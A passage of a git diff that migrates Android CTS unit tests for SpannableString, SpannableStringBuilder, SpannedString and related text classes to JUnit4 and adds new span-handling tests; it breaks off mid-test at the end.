                     // 0-length spans should have been removed
                     assertEquals(-1, start);
                     assertEquals(-1, end);
-                    mSpanSet.mRecorder.assertRemoved(span, originalStart, originalEnd);
+                    mSpanSet.mRecorder.verifyRemoved(span, originalStart, originalEnd);
                     continue;
                 }
 
@@ -227,15 +240,15 @@
                 }
 
                 if (start != originalStart || end != originalEnd) {
-                    mSpanSet.mRecorder.assertChanged(span, originalStart, originalEnd, start, end);
+                    mSpanSet.mRecorder.verifyChanged(span, originalStart, originalEnd, start, end);
                 } else {
-                    mSpanSet.mRecorder.assertUnmodified(span);
+                    mSpanSet.mRecorder.verifyUnmodified(span);
                 }
             }
         }
     }
 
-    private void checkReplacementSpanPositions(Spannable originalSpannable, int replaceStart,
+    private void verifyReplacementSpanPositions(Spannable originalSpannable, int replaceStart,
             Spannable replacementSpannable, int replStart, int replEnd, int flag) {
 
         // Get all spans overlapping the replacement substring region
@@ -257,7 +270,7 @@
                         " -> " + start + "," + end);
 
                 // There should be no change reported to the replacement string spanWatcher
-                mReplacementSpanSet.mRecorder.assertUnmodified(span);
+                mReplacementSpanSet.mRecorder.verifyUnmodified(span);
 
                 boolean shouldBeAdded = false;
                 for (int i = 0; i < addedSpans.length; i++) {
@@ -273,12 +286,12 @@
                     if (isValidSpan(newStart, newEnd, flag)) {
                         assertEquals(start, newStart);
                         assertEquals(end, newEnd);
-                        mSpanSet.mRecorder.assertAdded(span, start, end);
+                        mSpanSet.mRecorder.verifyAdded(span, start, end);
                         continue;
                     }
                 }
 
-                mSpanSet.mRecorder.assertUnmodified(span);
+                mSpanSet.mRecorder.verifyUnmodified(span);
             }
         }
     }
@@ -392,7 +405,7 @@
 
         private Spannable mSpannable;
 
-        private class AddedRemoved {
+        private static class AddedRemoved {
             Object span;
             int start;
             int end;
@@ -404,7 +417,7 @@
             }
         }
 
-        private class Changed {
+        private static class Changed {
             Object span;
             int oldStart;
             int oldEnd;
@@ -443,7 +456,7 @@
             if (text == mSpannable) mChanged.add(new Changed(span, ostart, oend, nstart, nend));
         }
 
-        public void assertUnmodified(Object span) {
+        public void verifyUnmodified(Object span) {
             for (AddedRemoved added: mAdded) {
                 if (added.span == span)
                     fail("Span " + span + " was added and not unmodified");
@@ -458,7 +471,7 @@
             }
         }
 
-        public void assertChanged(Object span, int oldStart, int oldEnd, int newStart, int newEnd) {
+        public void verifyChanged(Object span, int oldStart, int oldEnd, int newStart, int newEnd) {
             for (Changed changed : mChanged) {
                 if (changed.span == span) {
                     assertEquals(changed.newStart, newStart);
@@ -473,7 +486,7 @@
             fail("Span " + span + " was not changed");
         }
 
-        public void assertAdded(Object span, int start, int end) {
+        public void verifyAdded(Object span, int start, int end) {
             for (AddedRemoved added : mAdded) {
                 if (added.span == span) {
                     assertEquals(added.start, start);
@@ -484,7 +497,7 @@
             fail("Span " + span + " was not added");
         }
 
-        public void assertRemoved(Object span, int start, int end) {
+        public void verifyRemoved(Object span, int start, int end) {
             for (AddedRemoved removed : mRemoved) {
                 if (removed.span == span) {
                     assertEquals(removed.start, start);
@@ -499,10 +512,8 @@
     // TODO Thoroughly test the SPAN_PARAGRAPH span flag.
 
 
-    @SmallTest
-    public void
-    testReplace_discardsParagraphSpanInSourceIfThereIsNoNewLineBefore()
-            throws Exception {
+    @Test
+    public void testReplace_discardsParagraphSpanInSourceIfThereIsNoNewLineBefore() {
         SpannableStringBuilder spannable = new SpannableStringBuilder("1 selection_to_replace");
         Spanned newText = Html.fromHtml("<blockquote>new text</blockquote>");
         assertEquals(1, newText.getSpans(0, newText.length(), ParagraphStyle.class).length);
@@ -514,9 +525,8 @@
         assertEquals(0, paragraphSpans.length);
     }
 
-    @SmallTest
-    public void testReplace_retainsParagraphSpanInSourceIfThereIsNewLineBefore()
-            throws Exception {
+    @Test
+    public void testReplace_retainsParagraphSpanInSourceIfThereIsNewLineBefore() {
         SpannableStringBuilder spannable = new SpannableStringBuilder("1\nselection_to_replace");
         Spanned newText = Html.fromHtml("<blockquote>new text</blockquote>");
         assertTrue(newText.getSpans(0, newText.length(), ParagraphStyle.class).length > 0);
@@ -528,9 +538,8 @@
         assertEquals(1, paragraphSpans.length);
     }
 
-    @SmallTest
-    public void testReplace_retainsParagraphSpanInSourceIfStartIsZero()
-            throws Exception {
+    @Test
+    public void testReplace_retainsParagraphSpanInSourceIfStartIsZero() {
         // copy the paragraph span even if there is no previous character - start is equal to 0
 
         SpannableStringBuilder spannable = new SpannableStringBuilder("selection_to_replace");
@@ -544,9 +553,8 @@
         assertEquals(1, paragraphSpans.length);
     }
 
-    @SmallTest
-    public void testReplace_retainsParagraphSpanInSourceIfEndIsEqualToLengthOfString()
-            throws Exception {
+    @Test
+    public void testReplace_retainsParagraphSpanInSourceIfEndIsEqualToLengthOfString() {
         // copy the paragraph span even if the final char is not next line, and if the end is
         // equal to the string length
 
@@ -564,9 +572,8 @@
         assertEquals(1, paragraphSpans.length);
     }
 
-    @SmallTest
-    public void testReplace_discardsParagraphSpanInSourceIfThereIsNoNewLineAfter()
-            throws Exception {
+    @Test
+    public void testReplace_discardsParagraphSpanInSourceIfThereIsNoNewLineAfter() {
         SpannableStringBuilder spannable = new SpannableStringBuilder("r remaining\n");
         // create a spannable that does not have \n at the end. Html.fromHtml adds \n to the end of
         // the text
@@ -581,4 +588,26 @@
         assertEquals(0, paragraphSpans.length);
     }
 
+    @Test
+    public void testCopyConstructorDoesNotEnforceParagraphStyleConstraint() {
+        final SpannableStringBuilder original = new SpannableStringBuilder("\ntest data\nb");
+        final AlignmentSpan.Standard span = new AlignmentSpan.Standard(
+                Layout.Alignment.ALIGN_NORMAL);
+        original.setSpan(span, 1, original.length() - 1, Spanned.SPAN_PARAGRAPH);
+
+        // test that paragraph style is in the copied when it is valid
+        SpannableStringBuilder copied = new SpannableStringBuilder(original);
+        AlignmentSpan.Standard[] copiedSpans = copied.getSpans(0, copied.length(),
+                AlignmentSpan.Standard.class);
+
+        assertEquals(1, copiedSpans.length);
+
+        // test that paragraph style is in not in the copied when it is invalid
+        final TransformationMethod transformation = SingleLineTransformationMethod.getInstance();
+        final CharSequence transformed = transformation.getTransformation(original, null);
+        copied = new SpannableStringBuilder(transformed);
+        copiedSpans = copied.getSpans(0, copied.length(), AlignmentSpan.Standard.class);
+
+        assertEquals(0, copiedSpans.length);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
index 6dee5e9..3e58853 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
@@ -17,78 +17,82 @@
 package android.text.cts;
 
 
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.InputFilter;
+import android.text.Selection;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
 import android.text.TextWatcher;
 import android.text.style.BulletSpan;
-import android.text.style.ParagraphStyle;
 import android.text.style.QuoteSpan;
-import android.text.style.RelativeSizeSpan;
 import android.text.style.StrikethroughSpan;
 import android.text.style.SubscriptSpan;
 import android.text.style.TabStopSpan;
 import android.text.style.UnderlineSpan;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
 /**
  * Test {@link SpannableStringBuilder}.
  */
-public class SpannableStringBuilderTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SpannableStringBuilderTest {
     private StrikethroughSpan mStrikethroughSpan;
     private UnderlineSpan mUnderlineSpan;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mUnderlineSpan = new UnderlineSpan();
         mStrikethroughSpan = new StrikethroughSpan();
     }
 
-    public void testConstructor1() {
-        @SuppressWarnings("unused")
-        SpannableStringBuilder dummy = new SpannableStringBuilder();
-        dummy = new SpannableStringBuilder("test");
-
-        try {
-            dummy = new SpannableStringBuilder(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
+    @Test
+    public void testConstructor() {
+        new SpannableStringBuilder();
+        new SpannableStringBuilder("test");
     }
 
-    public void testConstructor2() {
-        @SuppressWarnings("unused")
-        SpannableStringBuilder dummy = new SpannableStringBuilder("Text", 0, "Text".length());
-        dummy = new SpannableStringBuilder(new SpannableString("test"), 0, "Text".length());
-
-        try {
-            dummy = new SpannableStringBuilder("Text", 0, 10);
-            fail("should throw StringIndexOutOfBoundsException");
-        } catch (StringIndexOutOfBoundsException e) {
-            // expected exception
-        }
-
-        try {
-            dummy = new SpannableStringBuilder("Text", -3, 3);
-            fail("should throw StringIndexOutOfBoundsException");
-        } catch (StringIndexOutOfBoundsException e) {
-            // expected exception
-        }
-
-        try {
-            dummy = new SpannableStringBuilder("Text", 3, 0);
-            fail("should throw StringIndexOutOfBoundsException");
-        } catch (StringIndexOutOfBoundsException e) {
-            // expected exception
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullString() {
+         new SpannableStringBuilder(null);
     }
 
+    @Test
+    public void testConstructorStartEnd() {
+        new SpannableStringBuilder("Text", 0, "Text".length());
+        new SpannableStringBuilder(new SpannableString("test"), 0, "Text".length());
+    }
+
+    @Test(expected=StringIndexOutOfBoundsException.class)
+    public void testConstructorStartEndEndTooLarge() {
+        new SpannableStringBuilder("Text", 0, 10);
+    }
+
+    @Test(expected=StringIndexOutOfBoundsException.class)
+    public void testConstructorStartEndStartTooLow() {
+        new SpannableStringBuilder("Text", -3, 3);
+    }
+
+    @Test(expected=StringIndexOutOfBoundsException.class)
+    public void testConstructorStartEndEndTooLow() {
+        new SpannableStringBuilder("Text", 3, 0);
+    }
+
+    @Test
     public void testGetSpanFlags() {
         SpannableStringBuilder builder = new SpannableStringBuilder("spannable string");
         assertEquals(0, builder.getSpanFlags(mUnderlineSpan));
@@ -102,6 +106,7 @@
         assertEquals(0, builder.getSpanFlags(new Object()));
     }
 
+    @Test
     public void testNextSpanTransition() {
         SpannableStringBuilder builder = new SpannableStringBuilder("spannable string");
 
@@ -117,6 +122,7 @@
         assertEquals(1, builder.nextSpanTransition(3, 1, UnderlineSpan.class));
     }
 
+    @Test
     public void testSetSpan() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
         try {
@@ -144,27 +150,25 @@
         assertEquals(Spanned.SPAN_EXCLUSIVE_EXCLUSIVE, builder.getSpanFlags(mUnderlineSpan));
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testValueOfNull() {
+        SpannableStringBuilder.valueOf(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testValueOfNullBuilder() {
+        SpannableStringBuilder.valueOf((SpannableStringBuilder) null);
+    }
+
+    @Test
     public void testValueOf() {
-        try {
-            SpannableStringBuilder.valueOf(null);
-            fail("should throw NullPointerException here");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
-
-        try {
-            SpannableStringBuilder.valueOf((SpannableStringBuilder) null);
-            fail("should throw NullPointerException here");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
-
         assertNotNull(SpannableStringBuilder.valueOf("hello, string"));
 
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
         assertSame(builder, SpannableStringBuilder.valueOf(builder));
     }
 
+    @Test
     public void testReplace1() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world!");
         CharSequence text = "hi";
@@ -197,6 +201,7 @@
         }
     }
 
+    @Test
     public void testReplace2() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
         CharSequence text = "ahiabc";
@@ -272,6 +277,7 @@
         }
     }
 
+    @Test
     public void testSubSequence() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
         CharSequence text = builder.subSequence(0, 2);
@@ -286,6 +292,7 @@
         }
     }
 
+    @Test
     public void testGetChars() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         char[] buf = new char[4];
@@ -319,6 +326,7 @@
         }
     }
 
+    @Test
     public void testAppend1() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.append(",world");
@@ -331,6 +339,7 @@
         }
     }
 
+    @Test
     public void testAppend2() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.append(",world", 1, 3);
@@ -362,6 +371,7 @@
         }
     }
 
+    @Test
     public void testAppend3() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.append('a');
@@ -377,6 +387,29 @@
         }
     }
 
+    @Test
+    public void testAppend_textWithSpan() {
+        final QuoteSpan span = new QuoteSpan();
+        final SpannableStringBuilder builder = new SpannableStringBuilder("hello ");
+        final int spanStart = builder.length();
+        builder.append("planet", span, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final int spanEnd = builder.length();
+        builder.append(" earth");
+
+        assertEquals("SpannableStringBuilder.append should append text to existing whole text",
+                "hello planet earth", builder.toString());
+
+        final Object[] spans = builder.getSpans(0, builder.length(), Object.class);
+        assertNotNull("Appended text included a Quote span", spans);
+        assertEquals("Appended text included a Quote span", 1, spans.length);
+        assertSame("Should be the same span instance", span, spans[0]);
+        assertEquals("Appended span should start at appended text start",
+                spanStart, builder.getSpanStart(spans[0]));
+        assertEquals("Appended span should end at appended text end",
+                spanEnd, builder.getSpanEnd(spans[0]));
+    }
+
+    @Test
     public void testClearSpans() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
 
@@ -391,6 +424,7 @@
         assertEquals(0, builder.getSpanFlags(mUnderlineSpan));
     }
 
+    @Test
     public void testGetSpanStart() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.setSpan(mUnderlineSpan, 1, 3, 0);
@@ -399,6 +433,7 @@
         assertEquals(-1, builder.getSpanStart(null));
     }
 
+    @Test
     public void testAccessFilters() {
         InputFilter[] filters = new InputFilter[100];
         SpannableStringBuilder builder = new SpannableStringBuilder();
@@ -413,6 +448,7 @@
         }
     }
 
+    @Test
     public void testRemoveSpan() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
 
@@ -435,6 +471,7 @@
         builder.removeSpan(null);
     }
 
+    @Test
     public void testToString() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         assertEquals("hello", builder.toString());
@@ -443,6 +480,7 @@
         assertEquals("", builder.toString());
     }
 
+    @Test
     public void testGetSpanEnd() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.setSpan(mUnderlineSpan, 1, 3, 0);
@@ -451,6 +489,7 @@
         assertEquals(-1, builder.getSpanEnd(null));
     }
 
+    @Test
     public void testCharAt() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         assertEquals('h', builder.charAt(0));
@@ -470,6 +509,7 @@
         }
     }
 
+    @Test
     public void testInsert1() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.insert(1, "abcd", 1, 3);
@@ -515,6 +555,7 @@
         }
     }
 
+    @Test
     public void testInsert2() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.insert(1, "abcd");
@@ -546,6 +587,7 @@
         }
     }
 
+    @Test
     public void testClear() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         assertEquals("hello", builder.toString());
@@ -553,6 +595,7 @@
         assertEquals("", builder.toString());
     }
 
+    @Test
     public void testGetSpans() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
         UnderlineSpan span1 = new UnderlineSpan();
@@ -577,7 +620,7 @@
         builder.getSpans(4, 1, UnderlineSpan.class);
     }
 
-    @SmallTest
+    @Test
     public void testGetSpans_returnsEmptyIfSetSpanIsNotCalled() {
         String text = "p_in_s";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -585,7 +628,80 @@
         assertEquals(0, spans.length);
     }
 
-    @SmallTest
+    @Test
+    public void testGetSpans_returnsInInsertionOrder_regular() {
+        assertGetSpans_returnsInInsertionOrder(Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+    }
+
+    @Test
+    public void testGetSpans_returnsInInsertionOrder_priority() {
+        assertGetSpans_returnsInInsertionOrder(
+                Spanned.SPAN_EXCLUSIVE_EXCLUSIVE | Spanned.SPAN_PRIORITY);
+    }
+
+    private static void assertGetSpans_returnsInInsertionOrder(int flags) {
+        final SpannableStringBuilder builder = new SpannableStringBuilder();
+        final SubscriptSpan[] expected = new SubscriptSpan[5];
+        for (int i = 0; i < expected.length; i++) {
+            final int currentLength = builder.length();
+            builder.append("12\n");
+            expected[i] = new SubscriptSpan();
+            builder.setSpan(expected[i], currentLength + 1, currentLength + 2, flags);
+        }
+
+        final SubscriptSpan[] spans = builder.getSpans(0, builder.length(), SubscriptSpan.class);
+
+        assertNotNull(spans);
+        assertEquals(expected.length, spans.length);
+        for (int i = 0; i < expected.length; i++) {
+            assertSame(expected[i], spans[i]);
+        }
+    }
+
+    @Test
+    public void testGetSpans_returnsInInsertionOrder_priorityAndRegular() {
+        // insert spans from end to start of the string, interleaved. for each alternation:
+        // * regular span start is less than the priority span;
+        // * setSpan for regular span is called before the priority span
+        // expected result is: priority spans in the insertion order, then regular spans in
+        // insertion order
+        final int arrayLength = 5;
+        final SpannableStringBuilder builder = new SpannableStringBuilder();
+        final SubscriptSpan[] regularSpans = new SubscriptSpan[arrayLength];
+        final SubscriptSpan[] prioritySpans = new SubscriptSpan[arrayLength];
+        for (int i = 0; i < arrayLength; i++) {
+            builder.append("12");
+            regularSpans[i] = new SubscriptSpan();
+            prioritySpans[i] = new SubscriptSpan();
+        }
+
+        // set spans on builder with pattern [regular, priority, regular, priority,...]
+        // in reverse order (regularSpan[0] is at the end of the builder, regularSpan[5] is at the
+        // begining.
+        for (int i = 1; i <= arrayLength; i++) {
+            final int spanStart = builder.length() - (i * 2);
+            builder.setSpan(regularSpans[i - 1], spanStart, spanStart + 1,
+                    Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+            builder.setSpan(prioritySpans[i - 1], spanStart + 1, spanStart + 2,
+                    Spanned.SPAN_EXCLUSIVE_EXCLUSIVE | Spanned.SPAN_PRIORITY);
+        }
+
+        final SubscriptSpan[] spans = builder.getSpans(0, builder.length(), SubscriptSpan.class);
+        assertNotNull(spans);
+        assertEquals(arrayLength * 2, spans.length);
+
+        // assert priority spans are returned before the regular spans, in the insertion order
+        for (int i = 0; i < arrayLength; i++) {
+            assertSame(prioritySpans[i], spans[i]);
+        }
+
+        // assert regular spans are returned after priority spans, in the insertion order
+        for (int i = 0; i < arrayLength; i++) {
+            assertSame(regularSpans[i], spans[i + arrayLength]);
+        }
+    }
+
+    @Test
     public void testGetSpans_returnsSpansInInsertionOrderWhenTheLaterCoversTheFirst() {
         String text = "p_in_s";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -603,7 +719,7 @@
         assertEquals(second, spans[1]);
     }
 
-    @SmallTest
+    @Test
     public void testGetSpans_returnsSpansSortedFirstByPriorityThenByInsertionOrder() {
         String text = "p_in_s";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -630,7 +746,7 @@
         assertEquals(third, spans[3]);
     }
 
-    @SmallTest
+    @Test
     public void testGetSpans_returnsSpansInInsertionOrderAfterRemoveSpanCalls() {
         String text = "p_in_s";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -655,7 +771,7 @@
         assertEquals(fourth, spans[1]);
     }
 
-    @SmallTest
+    @Test
     public void testGetSpans_sortsByPriorityEvenWhenSortParamIsFalse() {
         String text = "p_in_s";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -681,6 +797,7 @@
         assertEquals(first, spans[3]);
     }
 
+    @Test
     public void testLength() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         assertEquals(5, builder.length());
@@ -688,6 +805,21 @@
         assertEquals(0, builder.length());
     }
 
+    @Test
+    public void testReplace_shouldNotThrowIndexOutOfBoundsExceptionForLongText() {
+        final char[] charArray = new char[75000];
+        Arrays.fill(charArray, 'a');
+        final String text = new String(charArray, 0, 50000);
+        final String copiedText = new String(charArray);
+        final SpannableStringBuilder spannable = new SpannableStringBuilder(text);
+        Selection.setSelection(spannable, text.length());
+
+        spannable.replace(0, text.length(), copiedText);
+
+        assertEquals(copiedText.length(), spannable.length());
+    }
+
+    @Test
     public void testDelete() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello,world");
         assertEquals("hello,world", builder.toString());
@@ -746,6 +878,7 @@
         }
     }
 
+    @Test
     public void testGetTextWatcherDepth() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         builder.setSpan(new MockTextWatcher(), 0, builder.length(), 0);
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringTest.java b/tests/tests/text/src/android/text/cts/SpannableStringTest.java
index 1eca046..3771613 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringTest.java
@@ -16,18 +16,34 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertSame;
+import static junit.framework.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
 import android.text.SpannableString;
+import android.text.SpannableStringBuilder;
 import android.text.Spanned;
+import android.text.method.SingleLineTransformationMethod;
+import android.text.method.TransformationMethod;
+import android.text.style.AlignmentSpan;
 import android.text.style.LocaleSpan;
 import android.text.style.QuoteSpan;
 import android.text.style.UnderlineSpan;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Locale;
 
-public class SpannableStringTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SpannableStringTest {
 
+    @Test
     public void testConstructor() {
         new SpannableString("test");
 
@@ -38,6 +54,7 @@
         }
     }
 
+    @Test
     public void testValueOf() {
         String text = "test valueOf";
         SpannableString spannable = SpannableString.valueOf(text);
@@ -54,6 +71,7 @@
         }
     }
 
+    @Test
     public void testSetSpan() {
         String text = "hello, world";
         SpannableString spannable = new SpannableString(text);
@@ -84,6 +102,7 @@
         }
     }
 
+    @Test
     public void testRemoveSpan() {
         SpannableString spannable = new SpannableString("hello, world");
 
@@ -107,6 +126,7 @@
         assertEquals(0, spannable.getSpanFlags(underlineSpan));
     }
 
+    @Test
     public void testSubSequence() {
         String text = "hello, world";
         SpannableString spannable = new SpannableString(text);
@@ -130,7 +150,7 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testSubsequence_copiesSpans() {
         SpannableString first = new SpannableString("t\nest data");
         QuoteSpan quoteSpan = new QuoteSpan();
@@ -160,8 +180,7 @@
         }
     }
 
-
-    @SmallTest
+    @Test
     public void testCopyConstructor_copiesAllSpans() {
         SpannableString first = new SpannableString("t\nest data");
         first.setSpan(new QuoteSpan(), 0, 2, Spanned.SPAN_PARAGRAPH);
@@ -184,7 +203,7 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testCopyGrowable() {
         SpannableString first = new SpannableString("t\nest data");
         final int N_SPANS = 127;
@@ -196,4 +215,27 @@
         Object[] secondSpans = second.getSpans(0, second.length(), Object.class);
         assertEquals(secondSpans.length, N_SPANS + 1);
     }
+
+    @Test
+    public void testCopyConstructorDoesNotEnforceParagraphStyleConstraint() {
+        final SpannableStringBuilder original = new SpannableStringBuilder("\ntest data\nb");
+        final AlignmentSpan.Standard span = new AlignmentSpan.Standard(
+                Layout.Alignment.ALIGN_NORMAL);
+        original.setSpan(span, 1, original.length() - 1, Spanned.SPAN_PARAGRAPH);
+
+        // test that paragraph style is in the copied when it is valid
+        SpannableString copied = new SpannableString(original);
+        AlignmentSpan.Standard[] copiedSpans = copied.getSpans(0, copied.length(),
+                AlignmentSpan.Standard.class);
+
+        assertEquals(1, copiedSpans.length);
+
+        // test that paragraph style is in not in the copied when it is invalid
+        final TransformationMethod transformation = SingleLineTransformationMethod.getInstance();
+        final CharSequence transformed = transformation.getTransformation(original, null);
+        copied = new SpannableString(transformed);
+        copiedSpans = copied.getSpans(0, copied.length(), AlignmentSpan.Standard.class);
+
+        assertEquals(0, copiedSpans.length);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java b/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
index eca6d6d..4969e67 100644
--- a/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
+++ b/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
@@ -16,13 +16,24 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
-import android.text.SpannableString;
 import android.text.Spannable.Factory;
+import android.text.SpannableString;
 
-public class Spannable_FactoryTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Spannable_FactoryTest {
+    @Test
     public void testNewSpannable() {
         final String text = "test newSpannable";
         Factory factory = Spannable.Factory.getInstance();
@@ -31,14 +42,15 @@
         assertNotNull(spannable);
         assertTrue(spannable instanceof SpannableString);
         assertEquals(text, spannable.toString());
-
-        try {
-            factory.newSpannable(null);
-            fail("should throw NullPointerException here");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testNewSpannableNull() {
+        Factory factory = Spannable.Factory.getInstance();
+        factory.newSpannable(null);
+    }
+
+    @Test
     public void testGetInstance() {
         Spannable.Factory factory = Spannable.Factory.getInstance();
         assertNotNull(factory);
diff --git a/tests/tests/text/src/android/text/cts/SpannedStringTest.java b/tests/tests/text/src/android/text/cts/SpannedStringTest.java
index 3c9b41b..ccdb119 100644
--- a/tests/tests/text/src/android/text/cts/SpannedStringTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannedStringTest.java
@@ -16,20 +16,32 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannedString;
 
-public class SpannedStringTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SpannedStringTest {
+    @Test
     public void testConstructor() {
         new SpannedString("test");
-
-        try {
-            new SpannedString(null);
-            fail("should throw NullPointerException here");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNull() {
+        new SpannedString(null);
+    }
+
+    @Test
     public void testValueOf() {
         String text = "test valueOf";
         SpannedString spanned = SpannedString.valueOf(text);
@@ -37,14 +49,14 @@
 
         spanned = new SpannedString(text);
         assertSame(spanned, SpannedString.valueOf(spanned));
-
-        try {
-            SpannedString.valueOf(null);
-            fail("should throw NullPointerException here");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testValueOfNull() {
+        SpannedString.valueOf(null);
+    }
+
+    @Test
     public void testSubSequence() {
         String text = "hello, world";
         SpannedString spanned = new SpannedString(text);
diff --git a/tests/tests/text/src/android/text/cts/SpannedTest.java b/tests/tests/text/src/android/text/cts/SpannedTest.java
new file mode 100644
index 0000000..12ebfed
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/SpannedTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.SpannedString;
+import android.text.style.LocaleSpan;
+import android.text.style.QuoteSpan;
+import android.text.style.UnderlineSpan;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SpannedTest {
+    // Returns an array of three Spanned objects, of three different classes:
+    // SpannableString, SpannableStringBuilder, and SpannedString.
+    private static Spanned[] makeSpanned(CharSequence s) {
+        return new Spanned[]{
+                new SpannableString(s),
+                new SpannableStringBuilder(s),
+                new SpannedString(s)};
+    }
+
+    @Test
+    public void testCharAt() {
+        final Spanned[] spannedCases = makeSpanned("\uD83D\uDE00");  // U+1F600 GRINNING FACE
+        for (Spanned spanned : spannedCases) {
+            assertEquals('\uD83D', spanned.charAt(0));
+            assertEquals('\uDE00', spanned.charAt(1));
+
+            try {
+                spanned.charAt(-1);
